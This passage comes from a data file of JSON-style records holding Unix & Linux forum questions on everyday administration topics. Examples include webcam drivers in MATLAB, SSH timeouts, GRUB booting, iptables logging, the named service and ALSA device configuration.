Linux? I am running Debian Squeeze, how can I determine whether my processor is 64 or 32-bit? I'm thinking of downloading a 64-bit OS because it's said to perform better."} {"_id": "87001", "title": "Connection error for linux webcam driver for matlab", "text": "This might seem like a duplicate post, well yes it is, but I have a different problem compared with the duplicate version of it. My value for `imaqhwinfo` gives me: InstalledAdaptors: {'dcam' 'linuxvideo'} MATLABVersion: '7.14 (R2012a)' ToolboxName: 'Image Acquisition Toolbox' ToolboxVersion: '4.3 (R2012a)' The value for `imaqhwinfo('linuxvideo',1)` gives me: DefaultFormat: 'YUYV_640x480' DeviceFileSupported: 0 DeviceName: '1.3M WebCam' DeviceID: 1 VideoInputConstructor: 'videoinput('linuxvideo', 1)' VideoDeviceConstructor: 'imaq.VideoDevice('linuxvideo', 1)' SupportedFormats: {1x7 cell} So, after that I gave the following to the Matlab terminal: vid = videoinput('linuxvideo', 1); set(vid, 'ReturnedColorSpace', 'RGB'); However, after inputting the following line: img = getsnapshot(vid); I get the following error: Warning: Unable to set the selected source. Perhaps the device is in use. Error using imaqdevice/getsnapshot (line 62) Could not connect to the image acquisition device. Device may be in use. I posted this question to Matlab central and am waiting for a reply. I'm using ArchLinux(64 bit) & Matlab(2012a) ( 64 bit). Webcam apps such as Cheese are running okay. I can see my face. I also have Skype, though I haven't configured it yet. ### TL;DR Can anybody help me fix this issue? It would be a great help, because if I cannot, I'll have to re-install Windows 7 for just a little bit of a school assignment, and that's time consuming. Plus I don't want to go back to Windows right now. P.S: `lsusb` gives me: Bus 002 Device 005: ID 148e:099a EVATRONIX SA Bus 002 Device 002: ID 8087:0020 Intel Corp. Integrated Rate Matching Hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 001 Device 003: ID 064e:a219 Suyin Corp. 1.3M WebCam (notebook emachines E730, Acer sub-brand) Bus 001 Device 002: ID 8087:0020 Intel Corp. Integrated Rate Matching Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub"} {"_id": "87002", "title": "Is it possible to assign multiple commands to a single hotkey? (bash, xterm)", "text": "Back in the day, if my cursor was in the middle of a really long shell command I'd just hit `Ctrl`+`C` to get myself a new command prompt. Then I learned about `Ctrl`+`K`/`C` and life was good. Unfortunately those sequences are a little awkward for me, so now I'd like to map one shortcut to reset the entire line with one sequence. Is it possible to map something like `Ctrl`+`X` so it performs those two commands? I checked the variables in `man bash` and found `kill-whole-line` but I'm not sure how to implement it in my .bashrc -- or if that's even what I need (seems like it is). ED: I learned `Ctrl`+`X` might not be the best choice because it's a gateway to other bash shortcuts, so I went with something else."} {"_id": "62387", "title": "copying files from unix to windows?", "text": "Is there any way to automate the process of copying the files between windows and unix without doing it manually, using tools such as `winscp`. I need to copy files from unix to windows such by executing some commands in windows. I goolged it and found these tools that can do this. ftp sftp scp pscp winscp console. **EDIT** : Can I get something using `pscp` because I just found out that `ftp` is not enable in my servers. Please suggest a way of doing it and I need to run whatever script/command in windows only for copying the unix files. **EDIT 2** : Getting this error in `winscp` console for `sftp` : winscp> get abc.sh c:\\ abc.sh | 0 KiB | 0.0 KiB/s | binary | 0% Can't create file 'c:\\abc.sh'. System Error. Code: 2. The system cannot find the file specified (A)bort, (R)etry, (S)kip, Ski(p) all:"} {"_id": "150402", "title": "What is the default idle timeout for OpenSSH?", "text": "I can't seem to find an answer to this simple question, which I need for some compliance documentation. On a default install of CentOS 6.5 (OpenSSH 5.3p1-94.el6), after how long of being idle will a user's SSH session be terminated? I believe the following can be set to increase the idle timeout, but they are commented out by default. $ grep -i alive /etc/ssh/sshd_config #TCPKeepAlive yes #ClientAliveInterval 0 #ClientAliveCountMax 3 Also, is there a command to dump a list of the current `sshd` settings? I don't see anything in `man sshd`."} {"_id": "149265", "title": "Remote virtual displays", "text": "I have two machines in local network, e.g. `192.168.8.30 (1)` and `192.168.8.31 (2)` and for each connected 2 displays. I want to use all of display like a physically connected to one of machine. Can I use one X server for every displays ? or use \"same functional\" by another ways."} {"_id": "2300", "title": "Getting information on a machine's hardware in Linux", "text": "How can I check what hardware I have? (With BIOS version etc.)"} {"_id": "33838", "title": "listing all hardware details on Linux", "text": "> **Possible Duplicate:** > checking hardware on linux I want to list all the hardware details about my system. To start with I've following things in my mind. `processor` `memory` `bios` `hba` I've got few details about processor like `processor: Current Speed, Max Speed, Family, Manufacturer, Version, No of CPU's` Can anybody expand the list for me of what other hardware details i need to figure out."} {"_id": "64598", "title": "How to find information about devices in Linux", "text": "I want to find the following information for devices in Linux: * Bus speed (e.g. 66 MHz) * IRQ settings * Vendor identification * AGP rate (e.g. 1x, 2x, 4x) * MAC address I am only able find the last one by `/sbin/ifconfig | grep HWaddr` How can I find this information in Linux?"} {"_id": "39757", "title": "How to achieve fast user switching with multiple graphics adapters, prevent virtual terminal switch?", "text": "My boxen has two video nVidia graphics adapters which I'd like to assign to separate seats, including virtual terminals. This question most likely isn't display manager specific, but in this case I'm using lightdm-1.2.2 to set up an instance on top of a secondary video card. [SeatDefaults] xserver-command=X -sharevts -isolateDevice PCI:0:2:0 #xserver-layout= xserver-config=xorg-6600.conf [LightDM] #start-default-seat=true #greeter-user=lightdm minimum-display-number=6 minimum-vt=7 This is how it launches: [+0.00s] DEBUG: Launching process 10099: /usr/bin/X -sharevts -isolateDevice PCI:0:2:0 :6 -config xorg-6600.conf -auth /var/run/lightdm/root/:6 -nolisten tcp vt7 -novtswitch There is already another Xorg-1.12 instance running on top of the primary video card. When I start lightdm everything is fine, because of `-sharevts -novtswitch` and both X servers display correctly on their respective monitors. Now when I launch `/usr/libexec/lightdm/gdmflexiserver` to do fast user switching, this triggers a vt switch -> `vt8`, which is understandable. **Unfortunately this also bumps my primary video card off its vt7 display.** How do I prevent the primary graphics adapter from switching? Would this have anything to do with the recent udev multiseat capability? Would I somehow be able to separate my sets of virtual terminals on top of separate graphics adapters?"} {"_id": "39750", "title": "Linux webserver reboot issue", "text": "I've webserver, it works fine when there is no load into it. when I've load onto it and try to restart httpd server gets reboot itself or sometimes it automatically get reboot It is Xen HVM with OS CentOS 6.2. I'm unable to trace the fault, even I've not found anything in /var/log/message or dmesg. Any help in this regard restarting httpd only not whole VM here are logs for this particular VM domid: 4 config qemu network with xen bridge for tap4.0 br0 Using file /mnt/Servers/webserver/webserver-cent62.img in read-write mode Watching /local/domain/0/device-model/4/logdirty/cmd Watching /local/domain/0/device-model/4/command Watching /local/domain/4/cpu char device redirected to /dev/pts/1 qemu_map_cache_init nr_buckets = 10000 size 4194304 shared page at pfn feffd buffered io page at pfn feffb Guest uuid = 6d0055e3-0d25-8c26-f7a2-45b675c28ec3 Time offset set 0 char device redirected to /dev/pts/2 xen be: console-0: xen be: console-0: initialise() failed initialise() failed populating video RAM at ff000000 mapping video RAM from ff000000 Register xen platform. Done register platform. platform_fixed_ioport: changed ro/rw state of ROM memory area. now is rw state. xs_read(/local/domain/0/device-model/4/xen_extended_power_mgmt): read error Log-dirty: no command yet. vcpu-set: watch node error. xen be: console-0: xen be: console-0: initialise() failed initialise() failed xs_read(/local/domain/4/log-throttling): read error qemu: ignoring not-understood drive `/local/domain/4/log-throttling' medium change watch on `/local/domain/4/log-throttling' - unknown device, ignored xen be: console-0: xen be: console-0: initialise() failed initialise() failed xen be: console-0: xen be: console-0: initialise() failed initialise() failed cirrus vga map change while on lfb mode mapping vram to f0000000 - f0400000 platform_fixed_ioport: changed ro/rw state of ROM memory area. now is rw state. platform_fixed_ioport: changed ro/rw state of ROM memory area. now is ro state. Unknown PV product 3 loaded in guest PV driver build 1 region type 1 at [c100,c200). region type 0 at [f3001000,f3001100). squash iomem [f3001000, f3001100)."} {"_id": "39759", "title": "Using UTF-8 chars with `write` message program", "text": "when I use the `write` program to send messages, how can I use UTF-8 chars? I send: write user2 Ehil\u00e0! Com'\u00e8? But receiver gets: Message from user1@samehost on pts/1 at 21:08 ... EhilM-CM- ! Com'M-CM-(? The machine is the same and `LANG` in konsole is already `en_US.UTF-8`."} {"_id": "146248", "title": "Finding and replacing text inside awk block", "text": "I want to find and replace a value inside awk block. Here is a sample input file to my script P1 10,9:11/18013013582 ,10:1 ,167:0 ,487:5/E.164 11,9:15/310410532169026 ,10:60 ,167:0 ,487:4/IMSI 12,18:15/013329002130500 ,19:0 15,9:10/9609610015 ,10:1 ,14:68 ,167:0 ,436:5/ABCDE ,487:5/E.164 16,87:1 17,9:10/8013765024 ,10:1 ,11:1 ,12:0 ,167:0 ,487:5/E.164 23,9:11/13123149810 ,10:1 ,11:1 ,167:0 ,487:5/E.164 P3 42,3:1. ,4:3 ,300:1. 43,3:1. ,4:3 ,300:1. 44,3:0. ,4:7 ,300:0. 45,5:0.3 And here is the piece of code that I am currently using, nawk -v fname=\"${filename}\" -F '/|:' ' function isnum(x){return(x==x+0)} /P1/,/P3/{ # Found start increment i reset variables go to next line if(/P1/){ ++i fid =\"\" count++ next } # Found end validate variable and print go to next line if(/P3/){ printf \"%s|\",count printf \"%s|\",isnum(fid)?fid:\"NULL\" next } if(!fid && /36,59:*/) { fid = $NF } ' ${filename} >>output.txt Basically, I my input file will contain several P1/P3 blocks, I am taking one block at a time and finding out value from it. Now, what I want to basically do is change the value of first ,11: **1** (i.e the one after 17,9 part) into 11: **2** based on the value of 17,9:10/ **8013765024**. Please note there can be several ,11 before and after but those have to remain unchanged. Please suggest how to proceed further. I am very new to both awk and sed. Also, I tried writing a regular expression but could not figure out it properly. Here it is, 17[,0-9:\\]*[\\n]*,11"} {"_id": "44074", "title": "How do I force grub2 to detect my arch linux install?", "text": "I have an uncommon setup. I have Ubuntu installed on one, and _a backup from a direct copy of an older Arch Linux install_ on the second. By direct copy, I mean I tar'd the contents of an entire partition initially, and now I've extracted those contents to another partition. So: 1 - Ubuntu, with GRUB2 2 - Arch from a backup Ubuntu runs and boots fine. After extracting Arch to a partition, I changed fstab to reflect its new partition. But now I'm stuck trying to get Arch to boot. I tried running update-grub in Ubuntu but it doesn't pick up the Arch install. So how can I get this to work?"} {"_id": "44075", "title": "iptables logging prefix gets corrupted", "text": "I've been using `iptables` for some time but recently noticed that the log prefix I'd set had got corrupted. In /etc/iptables/rules.v4` I have: -A LOGNDROP -j LOG --log-prefix \"iptables denied: \" --log-level 7 I found that in `/var/log/syslog` I actually have records like Jul 25 20:10:04 zotac kernel: [688421.696561] --log-prefixIN=wlan0 OUT= MAC=1c:4b:d6:ee:a9:64:00:24:17:0c:a7:ef:08:00 SRC=173.194.67.109 DST=192.168.1.4 LEN=40 TOS=0x00 PREC=0x00 TTL=44 ID=36871 PROTO=TCP SPT=587 DPT=60497 WINDOW=0 RES=0x00 RST URGP=0 Where the log prefix has somehow got set to `\\--log-prefix`.I can fix this by executing: ~# iptables -R LOGNDROP 1 -j LOG --log-prefix \"iptables denied: \" --log-level 7 But why is this happening and how do I fix it? FYI: `Debian Wheezy [Linux version 3.2.0-2-686-pae (Debian 3.2.20-1)]` with `iptables [1.4.14-2]` and `iptables-persistent [0.5.3+nmul]`"} {"_id": "133921", "title": "Is it possible to run Steam games using optirun?", "text": "I am using Bumblebee on OpenSuse 13.1 on my Intel HD4600 / Nvidia GTX 860M combo. Steam games seems to lag a bit, when using `primusrun`. (`vblank_mode=0 primusrun`) Testing both `primusrun` and `optirun` with `glxspheres`, indicates that `optirun` is the better option on my system. But my Steam games does not start with the `optirun` command. vblank_mode=0 primusrun glxspheres 209.926051 frames/sec - 234.277473 Mpixels/sec vblank_mode=0 optirun glxspheres 250.734727 frames/sec - 279.819955 Mpixels/sec Any help would be appreciated."} {"_id": "133922", "title": "What causes /proc//* resources to become owned by root, despite the procs being launched as a normal user?", "text": "I've noticed that some procs, such as bash, have their entire `/proc//` resources readable by the user who created that proc. However other procs, such as chrome or gnome-keyring-daemon, have most of their `/proc//` resources only accessible by root, despite the process itself being owned by the normal user and no suid being called. I dug through the kernel a bit and found that the /proc/ stuff gets limited if a task lacks a 'dumpable' flag, however I'm having a hard time understanding under what scenarios a task becomes undumpable (other than the setuid case, which doesn't apply to chrome or gnome-keyring): https://github.com/torvalds/linux/blob/164c09978cebebd8b5fc198e9243777dbaecdfa0/fs/proc/base.c#L1532 Anyone care to help me understand the underlying mechanism and the reasons for it? Thanks! Edit: Found a good doc on why you wouldn't want to have your SSH agent (such as `gnome-keyring-daemon`) dumpable by your user. Still not sure _how_ `gnome- keyring-daemon` is making itself undumpable. https://github.com/torvalds/linux/blob/164c09978cebebd8b5fc198e9243777dbaecdfa0/Documentation/security/Yama.txt#L30"} {"_id": "70926", "title": "Unable to install the selected kernel", "text": "I have problem with my DVD drive. It's corrupted and when I'm trying to install Ubuntu it stucks (even with the miniISO) I was able to successfully start the OS from system rescue CD. I'd like to have a possibility to copy minimum information from CD and instead of it download the most files from the internet because my DVD drive won't manage it and stucks. I can't use USB installation, my laptop doesn't support it. I succeeded according to this guide and downloaded netboot files. I copied files and directories to my `/boot` directory on `/dev/sda1` partition and performed the steps in the guide. root=hd(0,1) linux /boot/linux initrd /boot/initrd.gz boot After the command `boot` in Grub and in the process of `installing the base system` I got this error Configuring linux-image-3.5.0-26-generic Unable to install the selected kernel An error was returned while trying to install the kernel into the target system. Kernel package: 'linux-generic'. Check /var/log/syslog or see virtual console 4 for the details. /var/log/syslog Did I something wrong? Can I repair this error?"} {"_id": "70921", "title": "Grub2 keyboard layout when decrypting partition", "text": "According to the OpenSUSE 12.3 documentation the only keyboard layout which can be used during a Grub2 boot is the \"US keyboard layout\". Is there really no way to change the keyboard layout used when decrypting a partition during boot? If not, is this constraint due to Grub2 or OpenSUSE 12.3?"} {"_id": "29214", "title": "Copy first n files in a different directory", "text": "> **Possible Duplicate:** > How to move 100 files from a folder containing thousands? Is it possible to copy only the first 1000 files from a directory to another? Thanks in advance"} {"_id": "41753", "title": "How does this directory use so much space", "text": "Unix is not my native language and I'm getting confused by their concept of filesystems. When I look at my free space I see: /$ df -kh Filesystem Size Used Avail Use% Mounted on /dev/xvda1 7.9G 7.1G 397M 95% / none 3.7G 120K 3.7G 1% /dev none 3.7G 4.0K 3.7G 1% /dev/shm none 3.7G 48K 3.7G 1% /var/run none 3.7G 0 3.7G 0% /var/lock /dev/xvdf 100G 19G 82G 19% /db /dev/xvdg 100G 15G 86G 15% /images /dev/xvdb 414G 199M 393G 1% /mnt To me this means all files and directories under /db is on filesystem xvdf, everything under /images is on xvdg and everything under /mnt is on xvdb. Everything else is on xvda1. However, xvda1 has only 7.9G of space. So why does /$ sudo du -sh var 25G var show me that /var is taking up 25G? I thought at first that maybe it's counting the contents at the destinations of symbolic links but I know a few directories down there's a symbolic link to the /images directory and that's got 86G of content so var should be >86G if symbolic links are followed. So how can /var take up 25G on a drive that has only 7.9G? btw, this is an ubuntu instance running in amazon's EC2, if that's significant."} {"_id": "12974", "title": "Mouse click sound on fedora", "text": "I have a USB touch screen system with Fedora 14 installed. I couldn't get to play sound on any mouse click (on touch). Is there anyway to play a click sound, either by changing some configuration or using an application?"} {"_id": "70929", "title": "Is there any utility or procedure available to dm-crypt my existing live data in place to make a full disk encryption", "text": "Once I already have a running Linux system installed with live unencrypted data on my HDD. Is there any reasonable way to dm-crypt that entire HDD right in place? (Without backing up then restoring or transferring to a new FS.) If so is there any way to do it online? I.e. be able to operate my Linux system in the hour or so that it takes to encrypt all the data?"} {"_id": "41757", "title": "How to remove mounted locations that have been added using the mount command?", "text": "I've mounted few shared locations using the below command. mount -t cifs /mnt/systemfolder -o username=name,password=password //10.10.1.1/My-Shared-Folder A few incorrect locations* have been erroneously mounted while running this command. Now when I execute just the `mount` command, it lists all the right and wrong locations I've mounted. * * I have mounted the same location multiple times. How do I remove locations that show up from executing the `mount` command so that I can remove the incorrect ones I've mounted? The `umount` command does not help me remove the mounted location. Here's a screenshot showing the results to the `mount` and `umount` commands. ![enter image description here](http://i.stack.imgur.com/k3GL6.png)"} {"_id": "12971", "title": "File manager with spring-loaded folders?", "text": "One thing I miss about Finder, Mac OS X's file manager, is the spring-loaded folder function where if you drag a file(s) over another folder long enough, the folder would open and you can \"navigate\" through folders while holding down the mouse button until you reach where you want to drop the file. Does such a feature exist in Linux file managers? Is so, which ones? Thanks. BTW, I prefer lightweight programs with as few dependencies as possible."} {"_id": "7081", "title": "Clustering Servers to run one vm", "text": "I am looking at clustering about five machines and I wanted to get some opinions about what is the best way to go about it. I'm wanting to run one VM over the five machines, firstly I want to ask, 1: If I cluster the five machines will their hardware be combined? HDD's CPU's Ports etc.. 2: Would the hardware be accessible (Usable) within the VM Ultimately what I am asking is If I cluster five machines and run a VM over them will that make the VM a 'speed demon' combining CPU's and HDD's? Also what are some of the clustering operating systems out there at the moment? I have looked around but it seems that a lot of it is deprecated or just old. If you need any more information just ask. **NOTE: I'm not wanting the cluster to process files parallel, I want the speed of the processors, RAM and HDD's combined into one VM working over top of the cluster**"} {"_id": "7085", "title": "Locate a directory within an archive", "text": "I have .tgz archive i'm trying to locate a directory within it to extra how do i search within a .tgz i tried the following below but no luck. tar -tzf archive-9.tgz | grep '161519' | xargs tar -Oxzf archive-9.tgz | grep -B 3"} {"_id": "7086", "title": "grep acting strangely", "text": "Grep has been acting strangely on one of my systems (Ubuntu Desktop - all my other systems are Ubuntu Server), and I can't figure out why. I created a control file named _text_ that contains the following text: grep test!! the following commands work on all of my systems except the problem child: $ grep grep * text:grep $ grep 'test!!' * text:test!! On my problem child grep simply hangs. I have compared **.bashrc** , **.bash_aliases** , and even **/etc/bash_completion** , but I can't find the problem. Any ideas what could be causing the problem?"} {"_id": "123482", "title": "Application updates inside of Docker containers?", "text": "Typically on a server, automatic updates of security-related patches are configured. Therefore, if I'm running MySQL 5.5 and a new security patch comes out, Ubuntu Server will apply the upgrade and restart MySQL to keep me protected in an automated way. Obviously, this can be disabled, but it's helpful for those of us who are a bit lazy ;) Does such a concept exist inside of a Docker container? If I'm running MySQL in a Docker container, do I need to constantly stop the container, open a shell in it, then update and upgrade MySQL?"} {"_id": "123486", "title": "GNU/Linux licensing confusion", "text": "I am building a Gnu/Linux distribution. I am keeping the kernel open source but the desktop environment and the programs (the ones built by me) on top of it will be proprietary. Is it possible? The GNU GPL v2 states that one cannot make the derivatives of GPL-licensed software closed source. Therefore I am not modifying the Linux kernel but adding some add-ons. And will there be any licensing problems if the project as a whole is to be closed source?"} {"_id": "123485", "title": "Can a real-time process exist in the 'expired' queue of linux kernel?", "text": "**In the Linux kernel 2.4:** Real-time processes are given a priority of 0-99 and they co-exist in the ready queue along with the nice processes (who's priority goes between 100 and 139). But real-time processes are supposed to run as long as they need to, so when their time-slice is consumed, they get more time. **So can the real-time process exist in the expired queue where all processes who consumed their time-slice are present?**"} {"_id": "71030", "title": "DenyHosts and no-ip.com", "text": "I recently installed `DenyHosts` and after a few remote logins I noticed that `sshd: 8.23.224.110` had been added to the `host.deny` file after `/var/log/auth.log` showed a few `sshd: Did not receive identification string from 8.23.224.110`. This appears to be `no-ip.com`. I use `ddclient` to dynamically update my ip-address to point to my hostname at `no-ip.com`; something like `myhostname@no-ip.org` so that instead of having to `ssh` to a dynamic ip I can always just connect to the above host. I don't understand why `8.23.224.110` would be trying to connect to my ssh service however, can anyone shed some light on this? Is it some kind of by product of me `ssh`'ing to the no-ip hosted hostname? Is it likely to be problematic now `DenyHosts` has banned it?"} {"_id": "71032", "title": "File owner must belong to file group?", "text": "I have a rather simplistic understanding of file permissions on *nix systems. I understand that there is a file owner and file group, but is there a hard and fast rule on whether the said file owner _must_ belong to the file group also? Or put another way, can a file belong to a group that the owner is not a part of? If so (or if not), why? I'd like to increase my understanding... I can't seem to find anything that specifically talks about this out on the interwebs... I'm also open to some good reading material on the subject."} {"_id": "71033", "title": "Locate occasional CPU kernel hog", "text": "I have a 2.6.35 PREEMPT kernel running on moderate-speed ARMv7 processor. About once every 100 - 125s, something causes the kernel to fail to process some audio-related drivers sufficiently quickly to avoid underruns. The hold- up are generally in the range 15-30ms, but can be very much longer. It is not clear whether the hold-up is entirely in-kernel or may relate to the scheduling of a user process running with real-time priority (SCHED_RR, 2). My guess is that there is a (at least one) driver that is not playing nice with preempt. Some strace output from the user process illustrates some aspect of both normal and abnormal behaviour, although I am not certain how to interpret the various time reports? Normal case: 0.000518 poll([{fd=10, events=POLLIN|POLLERR|POLLNVAL, revents=POLLIN}], 1, 3415) = 1 0.010202 poll([{fd=10, events=POLLIN|POLLERR|POLLNVAL}, {fd=6, events=POLLOUT|POLLERR|POLLNVAL, revents=POLLOUT}], 2, 3404) = 1 0.000585 poll([{fd=10, events=POLLIN|POLLERR|POLLNVAL}, {fd=6, events=POLLOUT|POLLERR|POLLNVAL, revents=POLLOUT}], 2, 3404) = 1 0.000302 poll([{fd=10, events=POLLIN|POLLERR|POLLNVAL, revents=POLLIN}], 1, 3404) = 1 0.010706 poll([{fd=10, events=POLLIN|POLLERR|POLLNVAL}, {fd=6, events=POLLOUT|POLLERR|POLLNVAL, revents=POLLOUT}], 2, 3393) = 1 0.000480 poll([{fd=10, events=POLLIN|POLLERR|POLLNVAL}, {fd=6, events=POLLOUT|POLLERR|POLLNVAL, revents=POLLOUT}], 2, 3392) = 1 No blocking occurs on the poll for output on fd6 and, when only fd10 is polled for input, a block of around 10ms occurs. This is reflected both in the report of the duration of the system call and the interval between system calls (they are consistent). Failure case (extreme example): 0.000305 poll([{fd=10, events=POLLIN|POLLERR|POLLNVAL, revents=POLLIN}], 1, 3543) = 1 0.010730 poll([{fd=10, events=POLLIN|POLLERR|POLLNVAL}, {fd=6, events=POLLOUT|POLLERR|POLLNVAL, revents=POLLOUT}], 2, 3533) = 1 0.000475 poll([{fd=10, events=POLLIN|POLLERR|POLLNVAL}, {fd=6, events=POLLOUT|POLLERR|POLLNVAL, revents=POLLOUT}], 2, 3532) = 1 0.000329 poll([{fd=10, events=POLLIN|POLLERR|POLLNVAL, revents=POLLIN}], 1, 3532) = 1 0.953349 poll([{fd=10, events=POLLIN|POLLERR|POLLNVAL}, {fd=6, events=POLLOUT|POLLERR|POLLNVAL, revents=POLLOUT|POLLERR}], 2, 2578) = 1 Notice in this case that, even though the second-last call is recorded as taking 10ms (normal), it is 953ms before the last call. What tools can I use to track down the culprit?"} {"_id": "71036", "title": "How to watch pgrep?", "text": "When running a `pgrep` command with `watch` it does not only show the actual pgrep output, but also the `watch` process as well. Example: watch pgrep -lf donothing will show 3 processes, although pgrep -lf donothing does not show one. Is thee an elegant way to handle this properly with `watch` to not display the _own_ process of `watch`? EDIT Using the suggestions by Patrick: watch pgrep -f '^python donothing.py' shows me the usage of `pgrep` (updated every 2 seconds...) watch pgrep -l 'python donothing.py' as well (the `pgrep` commands alone DO work but not in connection with `watch`). watch \"pgrep 'python donothing.py'\" does not show anything, although the process is there."} {"_id": "133929", "title": "Clunking hard drive, some info appears in dmesg but none in fdisk -l, what are my options?", "text": "I've been backing up old IDE hard drives onto a new USB drive this afternoon. One, a 2002 120gb Western Digital, has been a bit of a problem. I have connected it (as with the other hard drives) to the IDE port on the motherboard, and when I power on the computer, it makes clunky/whirry sounds which I'd prefer not to hear. Clunk, whirr, HDD powers down, powers up, OS tries again, then eventually the OS (OpenSuse right now) loads. The relevant output from `dmesg` is as follows: [ 1.044144] ata1: clearing spurious IRQ [ 1.065767] ata1.00: ATA-5: WDC WD1200JB-00CRA1, 17.07W17, max UDMA/100 [ 1.065769] ata1.00: 234441648 sectors, multi 16: LBA [ 1.065858] ata1: clearing spurious IRQ [ 1.072420] ata1: clearing spurious IRQ [ 1.072685] ata3.01: ATA-8: ST3500418AS, CC38, max UDMA/133 [ 1.072689] ata3.01: 976773168 sectors, multi 16: LBA48 NCQ (depth 0/32) [ 1.080399] ata4.00: ATAPI: BENQ DVD DC DW220S, 9B32, max UDMA/100 [ 1.080614] ata4.01: ATA-8: ST3500418AS, CC38, max UDMA/133 [ 1.080617] ata4.01: 976773168 sectors, multi 16: LBA48 NCQ (depth 0/32) [ 1.081269] ata1.00: configured for UDMA/100 [ 1.081374] scsi 0:0:0:0: Direct-Access ATA WDC WD1200JB-00C 17.0 PQ: 0 ANSI: 5 [ 1.081574] sd 0:0:0:0: [sda] 234441648 512-byte logical blocks: (120 GB/111 GiB) [ 1.081609] sd 0:0:0:0: [sda] Write Protect is off [ 1.081611] sd 0:0:0:0: [sda] Mode Sense: 00 3a 00 00 [ 1.081628] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA [ 1.081722] sda: In `fdisk -l`, nothing relating to sda shows up. What I was hoping to do, was do a big ol' `dd` copy of `/dev/sda`, then use photorec or something to get some files out of it. The fact that it was recognized in `dmesg` is encouraging, but I'm wondering whether there is in fact anything to be done. Would be grateful for any help in deciphering the `dmesg` info!"} {"_id": "76561", "title": "How can I find the correct name for my microphone and sound output using aplay or pacmd or something else, to apply in asound.conf?", "text": "I need to write a default mic and default speaker output in the `asound.conf` config file. But I don't know exactly how I can find my external sound card or microphone device's name, so that on reboot or unplug/plug I don't have to reconfigure it again. I tried to find them by using: sun@sun-To-be-filled-by-O-E-M:/tmp$ pacmd dump | grep alsa_input set-source-volume alsa_input.pci-0000_00_1b.0.analog-stereo 0xddb set-source-mute alsa_input.pci-0000_00_1b.0.analog-stereo no suspend-source alsa_input.pci-0000_00_1b.0.analog-stereo yes set-source-volume alsa_input.usb-0d8c_C-Media_USB_Audio_Device-00-Device.analog-mono 0x9091 set-source-mute alsa_input.usb-0d8c_C-Media_USB_Audio_Device-00-Device.analog-mono no suspend-source alsa_input.usb-0d8c_C-Media_USB_Audio_Device-00-Device.analog-mono yes set-source-volume alsa_input.usb-046d_HD_Pro_Webcam_C920_8E9E4FCF-02-C920.analog-stereo 0xfffe set-source-mute alsa_input.usb-046d_HD_Pro_Webcam_C920_8E9E4FCF-02-C920.analog-stereo no suspend-source alsa_input.usb-046d_HD_Pro_Webcam_C920_8E9E4FCF-02-C920.analog-stereo yes set-default-source alsa_input.usb-046d_HD_Pro_Webcam_C920_8E9E4FCF-02-C920.analog-stereo or: sun@sun-To-be-filled-by-O-E-M:/tmp$ aplay -l **** List of PLAYBACK Hardware Devices **** card 0: PCH [HDA Intel PCH], device 0: ALC892 Analog [ALC892 Analog] Subdevices: 1/1 Subdevice #0: subdevice #0 card 0: PCH [HDA Intel PCH], device 1: ALC892 Digital [ALC892 Digital] Subdevices: 1/1 Subdevice #0: subdevice #0 card 0: PCH [HDA Intel PCH], device 3: HDMI 0 [HDMI 0] Subdevices: 1/1 Subdevice #0: subdevice #0 card 0: PCH [HDA Intel PCH], device 7: HDMI 1 [HDMI 1] Subdevices: 1/1 Subdevice #0: subdevice #0 card 2: Device [C-Media USB Audio Device], device 0: USB Audio [USB Audio] Subdevices: 1/1 Subdevice #0: subdevice #0 But it confused me. Which one is the name that I have to use when doing `sudo vim /etc/asound.conf`? From the information given above this device is my microphone: card 2: Device [C-Media USB Audio Device], device 0: USB Audio [USB Audio] Subdevices: 1/1 Subdevice #0: subdevice #0 And from the above information this device is my audio output: card 0: PCH [HDA Intel PCH], device 3: HDMI 0 [HDMI 0] Subdevices: 1/1 Subdevice #0: subdevice #0 How can I tell this in my `/etc/asound.conf`? I tried the following but it does not work: pcm.usb { type hw card C-Media USB Audio Device } pcm.!default { type asym playback.pcm { type plug slave.pcm \"dmix\" } capture.pcm { type plug slave.pcm \"usb\" } }"} {"_id": "119112", "title": "Named service won't start - seems to be caching errors", "text": "When I try to restart / start the `named` service, it keeps failing. service named restart Results in:- Stopping named: [ OK ] Starting named: Error in named configuration: /etc/named.conf:2: missing ';' before '}' [FAILED] service named start Results in:- Starting named: Error in named configuration: /etc/named.conf:2: missing ';' before '}' [FAILED] The thing is, even if `named.conf` contains no syntax errors or even if the file doesn't exist at all, I'm still getting this error preventing me from starting the service. Currently trying with a `named.conf` containing the following:- options { listen-on port 53 { 127.0.0.1; }; }; And checking the syntax of `named.conf` using named-checkconf /etc/named.conf Results in no errors. Yet when starting the service, I still get the above error. I can't see any other errors in the logs relating to this and don't really know where to get to the bottom of this. Any ideas? (Even reverting back to the `named.conf` file that was in place before I stopped the service returns the same error now and this was previously running fine). Contents on `init.d/named` can be seen at this pastebin. CentOS 6.4 - Linux version 2.6.32-358.6.2.el6.x86_64 (mockbuild@c6b8.bsys.dev.centos.org) (gcc version 4.4.7 20120313 (Red Hat 4.4.7-3) (GCC) ) #1 SMP Thu May 16 20:59:36 UTC 2013 # Update bash -x /etc/init.d/named start Snippet from results possibly of relevance? + echo 'Error in named configuration:' Error in named configuration: + echo '/etc/named.conf:2: missing '\\'';'\\'' before '\\''}'\\''' /etc/named.conf:2: missing ';' before '}' + failure + local rc=0 + '[' color '!=' verbose -a -z '' ']' + echo_failure + '[' color = color ']' + echo -en '\\033[60G' + echo -n '[' [+ '[' color = color ']' + echo -en '\\033[0;31m' + echo -n FAILED FAILED+ '[' color = color ']' + echo -en '\\033[0;39m' + echo -n ']' ]+ echo -ne '\\r' + return 1 + '[' -x /bin/plymouth ']' + /bin/plymouth --details + return 0 + echo"} {"_id": "76567", "title": "Linux listing files between two date without touch command", "text": "I need a command which will list the files between given date and time (YYYYMMDDHHMMSS - format) in to a text file. I don want to use touch command as its creating permission issue. I am new to this so please help me with explanation."} {"_id": "76566", "title": "Where do I find a list of terminal key codes to remap shortcuts in bash?", "text": "For example: \"\\e[1;5C\" \"\\e[Z\" \"\\e-1\\C-i\" I only know bits and pieces, like `\\e` stands for escape and `C-` for `Ctrl`, but what are these numbers (`1`) and letters (`Z`)? What are the `;`, `[` and `-` signs for? Is there only trial and error, or is there a complete list of bash key codes and an explanation of their syntax?"} {"_id": "76564", "title": "Unable to set hostname for use within network", "text": "I am having a lot of trouble setting up a hostname for my home server for use within my home network. My home server is running Ubuntu 12.04 LTS and all packages are up to date. Management of this server is done using SSH only, no 